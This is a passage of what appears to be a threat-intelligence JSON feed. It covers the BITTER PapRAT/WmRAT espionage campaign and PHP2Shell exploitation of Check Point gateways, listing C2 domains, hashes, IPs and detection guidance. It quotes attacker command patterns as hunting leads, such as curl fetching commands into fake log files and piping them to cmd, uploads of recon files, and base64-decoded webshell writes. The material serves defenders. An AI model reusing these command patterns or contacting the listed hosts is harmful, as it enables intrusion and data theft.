explorer.exe or a LNK that spawns cmd.exe, and for scheduled tasks named MicrosoftUpdates\\updates* or BiosUpdates\\update* that run 'conhost --headless cmd /c more ...|cmd'.", "Alert on msiexec installing a package from a UNC path containing @SSL (WebDAV), and on files named bruzsvc.exe or vnces.exe or curl writing to C:\\users\\public\\music\\err.log or C:\\programdata\\talk.log.", "Block or quarantine VHDX, VHD and .url attachments at the mail gateway; if a host is confirmed, isolate it, delete the scheduled tasks and rotate the user's credentials." ], "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "name": "Fortinet" }, { "url": "https://threatfox.abuse.ch/ioc/1943932/", "label": "ThreatFox – rappellingaart.com payload delivery (IOC 1943932)", "name": "ThreatFox" }, { "url": "https://thehackernews.com/2026/11/bitter-hackers-deploy-new-paprat.html", "label": "The Hacker News – Bitter Hackers Deploy New PapRAT Backdoor in Cyberespionage Campaign Targeting South Asia", "name": "The Hacker News" } ], "indicator_count": 18, "block_now_count": 18, "hunt_count": 0, "hunt_counts": {}, "indicator_counts": { "domain": 8, "sha256": 5, "url": 5 }, "ioas": [ { "artefact": "ftp.exe launched from a LNK (parent explorer.exe or cmd.exe) that then spawns cmd.exe, followed within 10 minutes by schtasks /create on the same device", "log_source": "EDR process events (DeviceProcessEvents), Windows Security 4688 with command line, Sysmon 1", "why": "In BITTER's chain 1 the LNK runs ftp.exe, whose ! prefix pipes res.ico to cmd (\"!more res.ico\"), and the script immediately creates a scheduled task. FortiGuard Labs notes this LOLBin chain avoids script-engine monitoring aimed at PowerShell or wscript. ftp.exe is rarely used interactively on modern endpoints, so a child cmd.exe is a strong lead.", "action": "alert", "has_query": true, "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_name": "Fortinet", "title": "ftp.exe spawning cmd, then a scheduled task", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Scheduled tasks named MicrosoftUpdates\\updates or BiosUpdates\\update that run conhost --headless cmd /c more |cmd", "log_source": "EDR process events, Windows Security 4698 (scheduled task created), Task Scheduler operational log", "why": "FortiGuard Labs shows tasks MicrosoftUpdates\\updates11678, MicrosoftUpdates\\updates88679 and BiosUpdates\\update101 that re-read C:\\users\\public\\music\\err.log or C:\\programdata\\talk.log every 15 to 49 minutes and pipe the content to cmd, so commands change server-side without a new binary. Task names change between victims; the conhost --headless ... more ...|cmd pattern is the steadier signal.", "action": "alert", "has_query": true, "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_name": "Fortinet", "title": "Fake update tasks piping a log file to cmd", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "curl writing to C:\\users\\public\\music\\err.log or C:\\programdata\\talk.log, or posting a file with -F file=@ to a ucl.php endpoint", "log_source": "EDR process and file events, proxy logs", "why": "The BITTER scripts fetch commands with curl --ssl-no-revoke -k into these fake log files and upload a reconnaissance file (abc.pdf with directory listings, tasklist, antivirus products and drives) with curl -X POST -F to ucl.php.", "action": "hunt", "has_query": true, "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_name": "Fortinet", "title": "curl fetching commands into fake log files", "queries": [ "KQL", "SPL" ] }, { "artefact": "msiexec /i installing a package from a WebDAV UNC path containing @SSL (for example \\\\host@SSL\\secure-docs\\Imp_Details.msi /qn)", "log_source": "EDR process events, Windows Security 4688, WebClient/WebDAV network logs", "why": "In chain 3 an Internet Shortcut (Invitation 2026.url) opens a WebDAV share and the next script installs the PapRAT MSI silently straight from it, so mail and browser attachment controls never see the MSI.", "action": "alert", "has_query": true, "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_name": "Fortinet", "title": "msiexec installing an MSI over WebDAV (@SSL)", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A LNK launched from a mounted VHDX that runs cmd.exe /c .msi & .xls, installing an MSI and opening a decoy spreadsheet at the same time", "log_source": "EDR process events, Windows Security 4688", "why": "Chain 2 hides Visa_Details.msi and Attachment-2.xls beside a single visible LNK in \"Letter from the Ambassador - 11th Belt and Road Summit.vhdx\"; the MSI's only action is a Type 194 custom action that drops PapRAT as bruzsvc.exe.", "action": "hunt", "has_query": true, "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_name": "Fortinet", "title": "VHDX LNK running an MSI with a decoy spreadsheet", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/block_now.txt", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/defender_xdr_indicators.csv", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt.kql", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt.spl", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt_raw.spl", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt.yaral", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/iocs.csv", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage", "share_url": "https://iocwatch.com/t/BITTER-PapRAT-WmRAT-South-Asia-Espionage/", "indicators": [ { "value": "netmansrvdns.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "WmRAT command-and-control domain; WmRAT (vnces.exe) is the second-stage implant PapRAT downloads with its DWW command.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "rappellingaart.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "WebDAV host for attack chain 3: Invitation 2026.url opens rappellingaart.com@SSL/secure-docs and the next stage runs msiexec on Imp_Details.msi from it.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" }, { "url": "https://threatfox.abuse.ch/ioc/1943932/", "name": "ThreatFox" } ] }, { "value": "techtalkhelp.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Serves talk.log, the Base64-encoded command file that the BiosUpdates\\update101 scheduled task runs every 15 minutes in attack chain 1.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" }, { "url": "https://thehackernews.com/2026/11/bitter-hackers-deploy-new-paprat.html", "name": "The Hacker News" } ] }, { "value": "rivingtonclarks.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "PapRAT C2 panel domain (C++ build at /beautiQuewonders/banaNa.php, Rust build at /banana/).", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" }, { "url": "https://thehackernews.com/2026/11/bitter-hackers-deploy-new-paprat.html", "name": "The Hacker News" } ] }, { "value": "goodnfortunes.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attack chain 1 C2: scheduled tasks pull commands from /b99/?kq= and reconnaissance output is uploaded to /ucl.php.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" }, { "url": "https://thehackernews.com/2026/11/bitter-hackers-deploy-new-paprat.html", "name": "The Hacker News" } ] }, { "value": "felixfuturenext.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Campaign domain FortiGuard Labs lists in its BITTER PapRAT IOCs (/Epistemological/ path).", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "gomescareerplans.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attack chain 3 command server: the MicrosoftUpdates\\updates88679 task runs curl against /docs/?vid= and pipes the reply to cmd.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "chestergreenfarming.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "PapRAT C2 decoded from Imp_Details.msi in attack chain 3 (www.chestergreenfarming.com), the build that delivered WmRAT.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "https://techtalkhelp.com/talk.log", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Encoded command file downloaded with curl -o C:\\programdata\\talk.log in attack chain 1.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "http://www.rivingtonclarks.com/beautiQuewonders/banaNa.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "PapRAT C2 panel URL polled every 10 seconds over plain HTTP.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "https://goodnfortunes.com/ucl.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Upload endpoint for the abc.pdf reconnaissance file (directory listings, tasklist, antivirus products, drives).", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "https://felixfuturenext.com/Epistemological/", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Campaign URL listed in FortiGuard Labs' BITTER PapRAT IOCs.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "http://gomescareerplans.com/docs", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Command URL that the chain 3 scheduled task contacts with curl.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "a3081df333ca7f18bd90d10a45125ab5011dcf9d2806feae2935f09cab07da4c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a malicious BITTER LNK lure that starts the ftp.exe, VHDX or WebDAV infection chain.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "e3992f8c945b0761242377cba32d91b0a390c7cecd79478439843d93e6d2b76b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a malicious BITTER LNK lure from the PapRAT campaign.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "ccefbdec2718d864d9d33c743aabfcef88a8d7904d1c598bfcf15cf5f3591c88", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a malicious BITTER LNK lure from the PapRAT campaign.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "569a21b519aaac8c92f653d708ab6ef34e3f38ea967f47e041d1e2425f6a4b33", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of PapRAT, the remote access trojan dropped by the MSI Type 194 custom action and disguised as bruzsvc.exe ('Microsoft redistributables').", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] }, { "value": "411c0b9a2f98b927d806a685faf0c1ab1005647b4816157008892347fb88546b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of WmRAT (vnces.exe), the second-stage RAT PapRAT downloads, which talks to netmansrvdns.com.", "source_url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "source_label": "FortiGuard Labs – BITTER Expands Its Arsenal with PapRAT", "source_name": "Fortinet", "sources": [ { "url": "https://www.fortinet.com/blog/threat-research/bitter-expands-its-arsenal-with-paprat", "name": "Fortinet" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt.kql", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt.spl", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt_raw.spl", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/BITTER-PapRAT-WmRAT-South-Asia-Espionage/hunt.yaral", "download": "BITTER-PapRAT-WmRAT-South-Asia-Espionage_hunt.yaral" } ] }, { "id": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper", "folder": "threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper", "name": "PHP2Shell on Check Point Gateways: TSGA Backdoor, TSProxy and destroy_v6 ESXi Wiper", "short": "Check Point PHP2Shell TSGA", "category": "Exploitation / edge device", "published": "2026-11-12", "entry_date": "2026-11-12 15:52", "last_updated": "2026-11-13 11:25", "seq": 34, "headline": "PHP2Shell exploitation of Check Point Mobile Access gateways leading to the TSGA backdoor and a destroy_v6 wiper on ESXi", "summary": "Check Point Research reports that from 30 October 2026, about a week after the fix shipped, an attacker scanned and exploited unpatched Check Point Security Gateways through their Mobile Access portals using PHP2Shell (CVE-2026-109618 and CVE-2026-109619). The first wave hit Israeli organisations and included destructive activity; a broader second wave on 2 November reached organisations in many countries and sectors with no sign of destruction. In the investigated intrusion the attacker escalated from the portal service account to root through the DynamicCLI interface (CVE-2026-123039), planted zz*.tpl PHP webshells in the portal templates directory, then launched the TSGA backdoor from /tmp/CPconfigdaemon, which relaunches as slot_CPconfigdaemon, listens on TCP 11072 and drops the TSProxy library as /lib/libcpfwcommon.so. They ran the gogo scanner, moved to a VMware ESXi host over SSH with the vpxuser account, and ran the destroy_v6 wiper, leaving DREAM_ANNEXATION.txt notes. TSGA and TSProxy are modified PhiliKit tools, which ESET tied to China-nexus UNC5221 and Ivanti attacks, but Check Point does not attribute the operation with high confidence. Both attacker IPs and all eight hashes are on the block list.", "caveat": "Attribution is unclear: Check Point lists a China-nexus actor, an access broker or a false flag as possible. The IP addresses sit on LightNode VPS space and may be reassigned later, so review hits in context. The gogo hash is a specific sample; gogo itself is a public scanner.", "targets": { "countries": [ { "code": "IL", "name": "Israel" } ], "regions": [ "Middle East" ], "sectors": [], "note": "Check Point says the first wave on 30 October 2026 targeted Israeli organisations, some with destructive activity; a second wave on 2 November hit organisations in multiple countries with no clear sector preference.", "source": { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "name": "Check Point Research" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1068", "name": "Exploitation for Privilege Escalation", "url": "https://attack.mitre.org/techniques/T1068/" }, { "id": "T1505.003", "name": "Web Shell", "url": "https://attack.mitre.org/techniques/T1505/003/" }, { "id": "T1037", "name": "Boot or Logon Initialization Scripts", "url": "https://attack.mitre.org/techniques/T1037/" }, { "id": "T1055", "name": "Process Injection", "url": "https://attack.mitre.org/techniques/T1055/" }, { "id": "T1090", "name": "Proxy", "url": "https://attack.mitre.org/techniques/T1090/" }, { "id": "T1046", "name": "Network Service Discovery", "url": "https://attack.mitre.org/techniques/T1046/" }, { "id": "T1021.004", "name": "SSH", "url": "https://attack.mitre.org/techniques/T1021/004/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1070", "name": "Indicator Removal", "url": "https://attack.mitre.org/techniques/T1070/" }, { "id": "T1485", "name": "Data Destruction", "url": "https://attack.mitre.org/techniques/T1485/" } ], "recommended_actions": [ "Patch Check Point Security Gateways for PHP2Shell (CVE-2026-109618, CVE-2026-109619) and CVE-2026-123039, and restrict who can reach Mobile Access portals.", "Block 130.94.19.204 and 130.94.19.168 and search 90 days of firewall, VPN and gateway logs for them from 30 October 2026.", "On gateways, look for zz*.tpl files or challenge_render.tpl in the portal templates directory, /tmp/.up.tpl, /tmp/CPconfigdaemon, slot_CPconfigdaemon, /tmp/.bd.log, /lib/libcpfwcommon.so, /tmp/.p_sock and a listener on TCP 11072; treat any hit as a full gateway compromise.", "On every Gaia gateway, management and log server, grep /var/log/dynamicCli.log for Received = lines without the Clish wrapper (CPprofile.sh >> /dev/null; export SP_DISTRIBUTE=0; set -o noglob;) and, after the Jumbo Hotfix, for Rejected connection from unauthorized uid; either is a CVE-2026-123039 escalation attempt. If the hotfix cannot go on yet, stop dynamic_server as sk1000362 describes.", "Check ESXi hosts for SSH logins as vpxuser from a gateway, /tmp/des and DREAM_ANNEXATION.txt files, and rotate the vpxuser and gateway credentials if a gateway was exposed." ], "sources": [ { "url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "label": "Check Point Research – PHP2Shell Exploitation on Check Point Gateway", "name": "Check Point Research" }, { "url": "https://www.welivesecurity.com/en/eset-research/eset-apt-activity-report-q4-2025-q1-2026/", "label": "ESET – APT Activity Report Q4 2025-Q1 2026 (PhiliKit in the UNC5221 SPAWN toolset)", "name": "WeLiveSecurity" }, { "url": "https://www.spamhaus.org/drop/asndrop.json", "label": "Spamhaus – ASN-DROP list (AS154177 LightNode listed)", "name": "Spamhaus" }, { "url": "https://support.checkpoint.com/results/sk/sk1000362", "label": "Check Point – sk1000362: CVE-2026-123039 local privilege escalation to root in the DynamicCLI process", "name": "Check Point" }, { "url": "https://blog.checkpoint.com/security/security-advisory-active-exploitation-of-php2shell-and-local-privilege-escalation/", "label": "Check Point – Security advisory: active exploitation of PHP2Shell and local privilege escalation", "name": "Check Point (2)" } ], "indicator_count": 11, "block_now_count": 10, "hunt_count": 1, "hunt_counts": { "monitor": 1 }, "indicator_counts": { "sha256": 8, "ipv4": 2, "other": 1 }, "ioas": [ { "artefact": "PHP session files containing the upload_progress_pwn marker under /opt/CPcvpn-*/tmp/, together with bursts of segmentation faults in the Mobile Access portal Apache/PHP workers", "log_source": "Check Point gateway file system and system logs (forwarded syslog), EDR file events where a sensor is installed", "why": "Check Point Research saw these session artefacts and hundreds of worker crashes on 30 October 2026 as the first sign of PHP2Shell exploitation of the Mobile Access portal.", "action": "hunt", "has_query": true, "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_name": "Check Point Research", "title": "PHP2Shell session artefacts on the Mobile Access portal", "queries": [ "KQL", "SPL" ] }, { "artefact": "dynamicCli.log entries showing CVE-2026-123039: Received = lines without the Clish wrapper, or Rejected connection from unauthorized uid", "log_source": "Check Point Gaia /var/log/dynamicCli.log on gateways, management and log servers, forwarded by syslog to Splunk or Google SecOps (not in Defender XDR)", "why": "Check Point's sk1000362 says the root dynamic_server daemon logs every command it receives. Legitimate requests use the wrapper . /opt/CPshared/5.0/tmp/.CPprofile.sh >> /dev/null; export SP_DISTRIBUTE=0; set -o noglob; and anything else was run as root through the world-writable /tmp/dynamic_socket, the escalation used after PHP2Shell. After the November Jumbo Hotfix, blocked attempts log Rejected connection from unauthorized uid with a UID such as 99 (nobody). Tuning: both conditions come from the vendor's own indicator of compromise. Expected false positives: none known; confirm any hit with Check Point TAC.", "action": "alert", "has_query": false, "source_url": "https://support.checkpoint.com/results/sk/sk1000362", "source_name": "Check Point", "title": "DynamicCLI root commands without the Clish wrapper (CVE-2026-123039)", "queries": [ "SPL" ] }, { "artefact": "Files named zz*.tpl or challenge_render.tpl written into the Mobile Access login templates directory, or a file at /tmp/.up.tpl", "log_source": "Check Point gateway file integrity checks, EDR file events", "why": "The attacker wrote base64-decoded PHP webshells as zz.tpl files (printf ... | base64 -d), stored uploads at /tmp/.up.tpl and copied them into the portal as challenge_render.tpl. The expanded shell needs the key zz2026.", "action": "alert", "has_query": true, "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_name": "Check Point Research", "title": "zz*.tpl webshells in the portal templates", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A process named CPconfigdaemon or slot_CPconfigdaemon started from /tmp or the boot persistence directory, output redirected to /tmp/.bd.log, the library /lib/libcpfwcommon.so, the socket /tmp/.p_sock, or a listener on TCP 11072", "log_source": "Check Point gateway process list and file checks, EDR process, file and network events", "why": "This is the TSGA backdoor: it was started with nohup /tmp/CPconfigdaemon >/tmp/.bd.log, relaunches as slot_CPconfigdaemon, injects the TSProxy library /lib/libcpfwcommon.so into appliance processes, and talks over TCP 11072 and /tmp/.p_sock.", "action": "alert", "has_query": true, "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_name": "Check Point Research", "title": "TSGA backdoor, TSProxy library or port 11072 listener", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "SSH login to a VMware ESXi host as vpxuser from a firewall or VPN gateway address, followed by files at /tmp/des or DREAM_ANNEXATION.txt", "log_source": "ESXi auth and shell logs (syslog), EDR file events, firewall logs for gateway-to-ESXi SSH", "why": "From the compromised gateway the attacker ran the gogo scanner, logged in to ESXi over SSH with the vpxuser service account, staged the destroy_v6 wiper as /tmp/des and left DREAM_ANNEXATION.txt in each wiped directory.", "action": "alert", "has_query": true, "source_url": "https://research.checkpoint.com/2026/php2shell-exploitation-on-check-point-gateway/", "source_name": "Check Point Research", "title": "vpxuser SSH to ESXi and the destroy_v6 wiper", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/block_now.txt", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/defender_xdr_indicators.csv", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt.kql", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt.spl", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt_raw.spl", "download": "Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Check-Point-Gateway-PHP2Shell-TSGA-Backdoor-ESXi-Wiper/hunt.yaral", "download": 